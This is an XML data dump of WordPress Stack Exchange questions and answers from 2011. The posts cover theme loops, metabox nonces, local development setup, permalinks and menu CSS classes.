  <row Id="13039" PostTypeId="2" ParentId="13020" CreationDate="2011-03-25T11:00:41.480" Score="0" ViewCount="" Body="&lt;p&gt;This is what I use in my projects and it works well for me. I modified the code you provided to suit. Simply drop it in and it will display the post thumbnail only for the first post.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Start the Loop. --&amp;gt;&#xA; &amp;lt;?php $i = 1 ; ?&amp;gt;&#xA; &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA; &amp;lt;!-- Display the Title as a link to the Post's permalink. --&amp;gt;&#xA; &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php if ($i == 1): ?&amp;gt;&#xA;&amp;lt;!-- Display the posts Image thumbnail for the post --&amp;gt;&#xA;&amp;lt;?php the_post_thumbnail();?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA; &amp;lt;!-- Display the date and a link to other posts by this posts author. --&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; by &amp;lt;?php the_author_posts_link() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA; &amp;lt;!-- Display the Post's Content in a div box. --&amp;gt;&#xA; &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;   &amp;lt;?php the_content(); ?&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php $i++; endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-25T11:00:41.480" CommentCount="1" />
  <row Id="13040" PostTypeId="2" ParentId="13023" CreationDate="2011-03-25T11:23:42.357" Score="0" ViewCount="" Body="&lt;p&gt;Contact form 7 is one of my favorite plugins , now after I've said that you can either create your own module to add a filed of &quot;readonly&quot; by following this tutorial &lt;a href=&quot;http://blog.ekynoxe.com/2010/09/06/extending-contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;http://blog.ekynoxe.com/2010/09/06/extending-contact-form-7/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or maybe even digging through &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7-modules/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7 Modules&lt;/a&gt; plugin to see how to add new modules,&#xA;but a much easier solution would be to create a regular text filed and use JQuery to add the readonly attribute &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$('#inputId').attr('readonly', true);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-25T11:23:42.357" />
  <row Id="13042" PostTypeId="2" ParentId="13032" CreationDate="2011-03-25T11:28:32.840" Score="1" ViewCount="" Body="&lt;p&gt;When ordering or closing metaboxes, those actions require nonces, add the following to your code and see if that resolves the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nonce_field('closedpostboxes', 'closedpostboxesnonce', false ); ?&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('meta-box-order', 'meta-box-order-nonce', false ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should add metaboxes to your page using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box&lt;/code&gt;&lt;/a&gt; and output them using &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/template.php#L919&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_meta_boxes&lt;/code&gt;&lt;/a&gt; passing in the hook for your plugin page as the first arg. This should at least ensure you have registered and output them in the same way WordPress does, and providing you've also output the appropriate nonces, should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something still isn't working, view source on your problem page(s) and verify the JS files are being output in the correct order(easier still, compare JS inclusions in your page with a core WordPress page that uses metaboxes, make sure your JS includes(enqueues) appear in the same order).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-25T15:30:53.910" LastActivityDate="2011-03-25T15:30:53.910" CommentCount="7" />
  <row Id="13043" PostTypeId="1" CreationDate="2011-03-25T11:35:29.547" Score="1" ViewCount="181" Body="&lt;p&gt;How can I use static flattr (button image hosted on my server) buttons on a wordpress 3.x installation using the flattr plug-in? Several people asked me to not load the flattr button from the flattr servers to prevent user tracking by flattr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] As already mentioned, I was asked to change the way the flattr plugin works. But I don't have a clue how to do this. So I'm not sure whether it is just about the background image or any other resource loaded from the flattr servers. This is what I want have answered here.[/Edit]&lt;/p&gt;&#xA;" OwnerUserId="4215" LastEditorUserId="4215" LastEditorDisplayName="" LastEditDate="2011-04-12T10:47:25.513" LastActivityDate="2011-04-12T10:47:25.513" Title="How to use static flattr buttons" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="13044" PostTypeId="1" AcceptedAnswerId="13045" CreationDate="2011-03-25T11:43:48.330" Score="0" ViewCount="215" Body="&lt;p&gt;It's a pretty simple question really! For some reason a &lt;code&gt;title&lt;/code&gt; attribute is not appended to &lt;code&gt;next_post_link&lt;/code&gt; and &lt;code&gt;prev_post_link&lt;/code&gt; calls in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any tips on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4181" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-25T15:15:04.853" LastActivityDate="2011-07-05T02:29:02.627" Title="How can i add title attributes to next and previous post link functions" Tags="&lt;title&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;&lt;attribute&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="13045" PostTypeId="2" ParentId="13044" CreationDate="2011-03-25T12:03:35.477" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon/blob/master/pagination_deamon.php&quot; rel=&quot;nofollow&quot;&gt;my educational plugin&lt;/a&gt; for pagination. Around line 185 you got the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;-link where you can add attributes.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-25T12:03:35.477" CommentCount="4" />
  <row Id="13046" PostTypeId="2" ParentId="13032" CreationDate="2011-03-25T12:06:50.817" Score="1" ViewCount="" Body="&lt;p&gt;It probably won't work if you write the HTML by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better to use &lt;code&gt;do_metaboxes()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got it all figured out in my &lt;a href=&quot;http://wordpress.org/extend/plugins/scb-framework/&quot; rel=&quot;nofollow&quot;&gt;scbBoxesPage&lt;/a&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/scb-framework/trunk/scb/BoxesPage.php?rev=339808&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/scb-framework/trunk/scb/BoxesPage.php?rev=339808&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example usage in the &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/front-end-editor/trunk/admin.php?rev=362968&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/front-end-editor/trunk/admin.php?rev=362968&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should probably write a proper example plugin that uses all those classes.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-25T12:12:58.487" LastActivityDate="2011-03-25T12:12:58.487" />
  <row Id="13047" PostTypeId="1" CreationDate="2011-03-09T19:57:45.743" Score="0" ViewCount="217" Body="&lt;p&gt;What's a good plugin to upload a .xml file?&#xA;here is the final question for now.. under&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools: / Import: / WordPress  i get this message:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Howdy! Upload your WordPress eXtended&#xA;  RSS (WXR) file and we’ll import the&#xA;  posts, pages, comments, custom fields,&#xA;  categories, and tags into this site.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Choose a WXR file to upload, then&#xA;  click Upload file and import.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas what i need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sincerely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="4996" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:11:40.643" LastActivityDate="2011-05-25T00:53:10.227" Title="WordPress does not allow me to upload a .xml file" Tags="&lt;plugins&gt;&lt;uploads&gt;&lt;import&gt;" AnswerCount="1" />
  <row Id="13048" PostTypeId="2" ParentId="13047" CreationDate="2011-03-09T20:00:11.763" Score="1" ViewCount="" Body="&lt;p&gt;You need an export from another WordPress blog. That's what the import tool is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to import from another blog format to WordPress, &lt;a href=&quot;http://codex.wordpress.org/Importing_Content&quot; rel=&quot;nofollow&quot;&gt;look at this list of possibilities&lt;/a&gt;.&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:12:19.367" LastActivityDate="2011-04-24T23:12:19.367" CommentCount="2" />
  <row Id="13049" PostTypeId="1" CreationDate="2011-03-10T01:12:18.640" Score="0" ViewCount="48" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13047/wordpress-does-not-allow-me-to-upload-a-xml-file&quot;&gt;wordpress does not allow me to upload a .xml file&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hi I hope someone can really help me out ..I can't upload files the normal way using :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools: / Import: /Wordpress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i get this message: Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose a WXR file to upload, then click Upload file and import.&#xA;and my setrting:  media:  is set to &quot;wp-content/uploads&quot;&#xA;any ideas what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i did the 755 -777 config on my server but not luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sincerely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="4996" LastActivityDate="2011-03-25T12:09:26.043" ClosedDate="2011-03-25T14:25:50.970" Title="files not loading" Tags="&lt;import&gt;&lt;uploads&gt;" CommentCount="1" />
  <row Id="13050" PostTypeId="1" CreationDate="2011-03-09T17:50:59.507" Score="0" ViewCount="91" Body="&lt;p&gt;As you noticed I’m new at WP.&#xA;Right now I’m working on my local server with a WP template (Using WAMP server) Am I going to have an issue with Permalink Settings when I upload the files or transfer them to the site server? Right now the Permalink Settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/wordpress/?page_id=172&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/wordpress/about&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have been trying to update the &lt;code&gt;.htaccess&lt;/code&gt; but not luck.&#xA;Any suggestions? Before continuing I don't want to spend more time adding pages knowing that the Permalinks won’t work.&#xA;Is there a better way to re-name the links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely&#xA;Jim&lt;/p&gt;&#xA;" OwnerUserId="4996" LastActivityDate="2011-03-25T12:10:16.323" Title="LOCAL server not installing wordpress" Tags="&lt;localhost&gt;&lt;admin&gt;&lt;permalinks&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="13051" PostTypeId="2" ParentId="13052" CreationDate="2011-03-09T18:04:24.260" Score="1" ViewCount="" Body="&lt;p&gt;You don't rename the links with .htaccess when using Wordpress. Simply go to &lt;code&gt;Settings-&amp;gt;Permalinks&lt;/code&gt; from your dashboard and select the scheme you want. Going by your sample URL, you could put &lt;code&gt;/%postname%/&lt;/code&gt; in the Custom Structure field to get just the post name.&lt;/p&gt;&#xA;" OwnerUserId="3278" LastActivityDate="2011-03-09T18:04:24.260" CommentCount="6" />
  <row Id="13052" PostTypeId="1" CreationDate="2011-03-08T20:47:11.367" Score="0" ViewCount="99" Body="&lt;p&gt;Hi all i did the install but now is asking me if i have :    * Are you sure you have the correct username and password? YES&#xA;    * Are you sure that you have typed the correct hostname? YES&#xA;    * Are you sure that the database server is running? NOT SURE  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do i know my local server is running when using /phpmyadmin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i will apprciate any help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sincerely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JIm&lt;/p&gt;&#xA;" OwnerUserId="4996" LastActivityDate="2011-05-24T12:53:02.927" Title="LOCAL server not installing wordpress" Tags="&lt;localhost&gt;&lt;admin&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="0" />
  <row Id="13053" PostTypeId="1" CreationDate="2011-03-03T19:51:36.037" Score="0" ViewCount="62" Body="&lt;p&gt;Hi I will really appreciate your input.&#xA;I just got a new template for wp. I want to start working on it without affecting the template already installed and running on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's the best way to work around it? someone told me to create a new directory and install wp in that directory, which i did but it shows a 404 page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="4996" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-26T17:52:23.813" LastActivityDate="2011-03-26T17:52:23.813" Title="Develop new theme without affecting the active one" Tags="&lt;theme-development&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="13054" PostTypeId="2" ParentId="13053" CreationDate="2011-03-03T22:13:04.733" Score="2" ViewCount="" Body="&lt;p&gt;I suggest you to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/nkthemeswitch/&quot; rel=&quot;nofollow&quot; title=&quot;WP ThemeSwitcher&quot;&gt;Theme Switcher&lt;/a&gt; plugin. Enable only for the administrator. &lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-03T22:13:04.733" />
  <row Id="13055" PostTypeId="2" ParentId="13053" CreationDate="2011-03-03T22:59:03.913" Score="3" ViewCount="" Body="&lt;p&gt;I'd say you should install WAMP or MAMP and develop locally. Then only you can see the site in progress and you don't have to wait for files to upload to view changes. You're just saving locally.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-03T22:59:03.913" />
  <row Id="13056" PostTypeId="2" ParentId="13053" CreationDate="2011-03-04T05:08:14.523" Score="0" ViewCount="" Body="&lt;p&gt;i'm agree with curtismchale..&#xA;but if you are new to wordpress than&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i suggest you to first install latest XAMPP via installer from here - &lt;a href=&quot;http://www.apachefriends.org/en/xampp-windows.html&quot; rel=&quot;nofollow&quot;&gt;installer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or WAMP from here - &lt;a href=&quot;http://www.wampserver.com/en/download.php&quot; rel=&quot;nofollow&quot;&gt;installer&lt;/a&gt; and work locally first..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;install latest wordpress and extract it and put folder &quot;wordpress&quot; as directed below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1] for xampp you should put &quot;wordpress&quot; in &quot;../xampp/htdocs&quot;&#xA;2] for wamp you should put &quot;wordpress&quot; in &quot;../wamp/www&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;install wordpress(hope you know) put your tamplate in &quot;wordpress/wp-content/themes&quot; than go to admin and activate your theme from appearance-&gt;themes-&gt;your theme-&gt; and activate it.&#xA;and start working on it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this will help you...&lt;/p&gt;&#xA;" LastActivityDate="2011-03-04T05:08:14.523" CommentCount="2" />
  <row Id="13057" PostTypeId="2" ParentId="13053" CreationDate="2011-03-25T12:24:51.720" Score="0" ViewCount="" Body="&lt;p&gt;This plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-test-drive/&quot; rel=&quot;nofollow&quot;&gt;Theme Test Drive&lt;/a&gt; is what I use to preview themes on a live site (for those times you need too) without affecting what normal users see when they visit your site. You can make themes only visible to administrators, whilst everyone else gets the old default theme you have set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just what you were after. Some helpful advice is to develop locally, it makes things so much easier and then FTP'ing the files to your server once you are happy with what you have locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download a copy of &lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;XAMPP&lt;/a&gt; and it'll give you an easy and pre set up version of PHP, Apache and MySQL to work with on your own machine locally.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-25T12:24:51.720" />
  <row Id="13058" PostTypeId="1" CreationDate="2011-03-25T12:34:33.670" Score="0" ViewCount="121" Body="&lt;p&gt;Is there a plugin available that creates a sitemap from the default menu, e.g. as shortcode or requestbale URI?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-06-23T14:06:12.470" Title="Sitemap Page build from Menu?" Tags="&lt;plugin-recommendation&gt;&lt;menus&gt;&lt;sitemap&gt;" AnswerCount="1" />
  <row Id="13059" PostTypeId="2" ParentId="13058" CreationDate="2011-03-25T12:51:05.877" Score="1" ViewCount="" Body="&lt;p&gt;Something like this? &#xA;&quot;This plugin generates a customizable sitemap which you can add to any page on your site using a simple shortcode.&quot;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/atlas-html-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;Atlas HTML Sitemap Generator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-03-25T12:51:05.877" CommentCount="1" />
  <row Id="13060" PostTypeId="2" ParentId="13037" CreationDate="2011-03-25T13:10:42.350" Score="1" ViewCount="" Body="&lt;p&gt;Just run 2 queries, the first to pull just the new-videos and the 2nd to pull everything else but the new-videos.  Probably just use WP_Query for the first one to get the new-videos and then alter the loop query for the 2nd one to exclude new-videos.&lt;/p&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2011-03-25T13:10:42.350" CommentCount="1" />
  <row Id="13061" PostTypeId="2" ParentId="9051" CreationDate="2011-03-25T13:12:40.840" Score="1" ViewCount="" Body="&lt;p&gt;This plugin &quot;allows commenters to sign up for e-mail notifications of subsequent replies.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-comments-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Subscribe To Comments Reloaded&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-03-25T13:12:40.840" />
  <row Id="13062" PostTypeId="2" ParentId="13053" CreationDate="2011-03-25T13:56:54.330" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;The easiest way:&lt;/strong&gt;&lt;br&gt;&#xA;Just put the following as wrapper around your code to avoid people seeing what you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add Template comment here and assign your test template to a 'private' page.&#xA;/*&#xA;Template Name: TESTTEMPLATE&#xA;*/&#xA;&#xA;// Here we start with the template part that only admins can see:&#xA;if ( current_use_can( 'administrator' ) &#xA;{&#xA;&#xA;// DO STUFF HERE&#xA;&#xA;// after the following line everything is public again.&#xA;}&#xA;else&#xA;{&#xA;&#xA;// ADDITIONAL: redirect to home&#xA;// http://codex.wordpress.org/Function_Reference/wp_redirect&#xA;&#xA;wp_redirect( home_url() );&#xA;// could also be the last page&#xA;// $redirectURL = trim ($_SERVER['REQUEST_URI']);&#xA;// wp_redirect( $redirectULR );&#xA;&#xA;exit;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-26T17:49:30.450" LastActivityDate="2011-03-26T17:49:30.450" />
  <row Id="13063" PostTypeId="1" AcceptedAnswerId="19738" CreationDate="2011-03-25T14:02:31.550" Score="7" ViewCount="281" Body="&lt;h2&gt;People are often confused about how to get data from global objects/vars&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; In which ways can you inspect global variables?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This Q was written because it's needed pretty often over here at WA. I just wanted to have it as a fav to link over here (people often don't take a look at github gist links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Feel free to modify the example if something is wrong or you think that the explanation is missing something. If you want to add other useful stuff, please add each as a single answer. Thank you.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-10T19:38:35.593" LastActivityDate="2011-06-10T19:39:07.807" CommunityOwnedDate="2011-04-13T01:01:02.590" Title="How to: inspect global variables in WordPress" Tags="&lt;showcase&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="5" />
  <row Id="13064" PostTypeId="2" ParentId="13063" CreationDate="2011-03-25T14:37:30.353" Score="7" ViewCount="" Body="&lt;p&gt;Or, if you're lazy, just install the &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;Debug Bar&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds a button to the admin bar that, when clicked, reveals a panel with all kinds of useful information, including deprecation notices, WP_Query variables and an SQL query log.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-01T02:45:30.033" LastActivityDate="2011-04-01T02:45:30.033" CommentCount="4" />
  <row Id="13065" PostTypeId="1" AcceptedAnswerId="13067" CreationDate="2011-03-25T14:41:00.417" Score="0" ViewCount="271" Body="&lt;p&gt;Ok, i need to setup a shop, my choice, WP, now, the shop should be french and english, with product variation and newsletter tracking, this is the baseline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, everybody is talking about wp e-commerce from instinct, a company that look serious, but now, there is a paid, a free, a commercial version. There is getshopped.org wich is ? the same or another site, there is wpml that said we will be compatible, but waiting for the new version. On the site, they dont talk about wpml, of state compatibility. No mean to contact without registering..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question. How can we get strait answer from a company that have a HUGE base of client that use there product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make a multilingual shop with e-commerce and wpml or qtranslate ? and where i can get answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's sad to see that even before installing the software, it so difficult to get help... just imagine when i will be on deadline...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tell me from your experience please, and thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-25T15:02:48.477" Title="WP E-commerce wpml translation or multilingual" Tags="&lt;multi-language&gt;&lt;e-commerce&gt;&lt;support&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13067" PostTypeId="2" ParentId="13065" CreationDate="2011-03-25T14:57:11.090" Score="0" ViewCount="" Body="&lt;p&gt;The honest answer is that multilingual e-commerce is very difficult and poorly supported across the board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even stand alone e-commerce applications that have many years of history have no support or very poor support for multilingual content, enterprise level platforms included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect that since WordPress itself does not really have strong support for multi-languages that the e-commerce plugins should be avoided for this type of site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. I live in the same city as you so I have experience in this market.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-25T15:02:48.477" LastActivityDate="2011-03-25T15:02:48.477" CommentCount="2" />
  <row Id="13068" PostTypeId="1" AcceptedAnswerId="13070" CreationDate="2011-03-25T15:04:45.233" Score="0" ViewCount="248" Body="&lt;p&gt;I'm using this code to display my menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$menu_args = array(&#xA;     'container'       =&amp;gt; '', &#xA;     'menu_class'      =&amp;gt; '', &#xA;     'menu_id'         =&amp;gt; 'main-menu',&#xA;     );&#xA;&#xA;wp_nav_menu($menu_args ); &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works totally fine, but I don't know how to get rid of all these classes attached to every li in my menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;menu-item-227&quot; class=&quot;menu-item menu-item-type-post_type current-menu-item page_item page-item-77 current_page_item menu-item-227&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's pretty long, isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need classes and even IDs here at all, since my menu has one already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-25T20:45:15.743" Title="WP navigation list classes" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="2" />
  <row Id="13069" PostTypeId="1" CreationDate="2011-03-25T15:13:20.077" Score="2" ViewCount="286" Body="&lt;p&gt;I recently updated a site and received the following error message:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function wp() in /home/atlmp/public_html/wp-blog-header.php on line 14&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I checked the file and there doesn't seem to be any issues, so I can't figure out what's wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Loads the WordPress environment and template.&#xA; *&#xA; * @package WordPress&#xA; */&#xA;&#xA;if ( !isset($wp_did_header) ) {&#xA;&#xA;  $wp_did_header = true;&#xA;&#xA;  require_once( dirname(__FILE__) . '/wp-load.php' );&#xA;&#xA;  wp();&#xA;&#xA;  require_once( ABSPATH . WPINC . '/template-loader.php' );&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-25T15:16:17.193" LastActivityDate="2011-03-25T17:10:15.960" Title="How do I &quot;fix&quot; a wp-blog-header.php error message?" Tags="&lt;fatal-error&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13070" PostTypeId="2" ParentId="13068" CreationDate="2011-03-25T15:27:21.233" Score="2" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter hook to remove the classes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class' , 'my_nav_menu_remove_class' , 10 , 2);&#xA;function my_nav_menu_remove_class($classes, $item){&#xA;    $my_class = array('menu-item-class');&#xA;    return $my_class;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-25T15:27:21.233" CommentCount="2" />
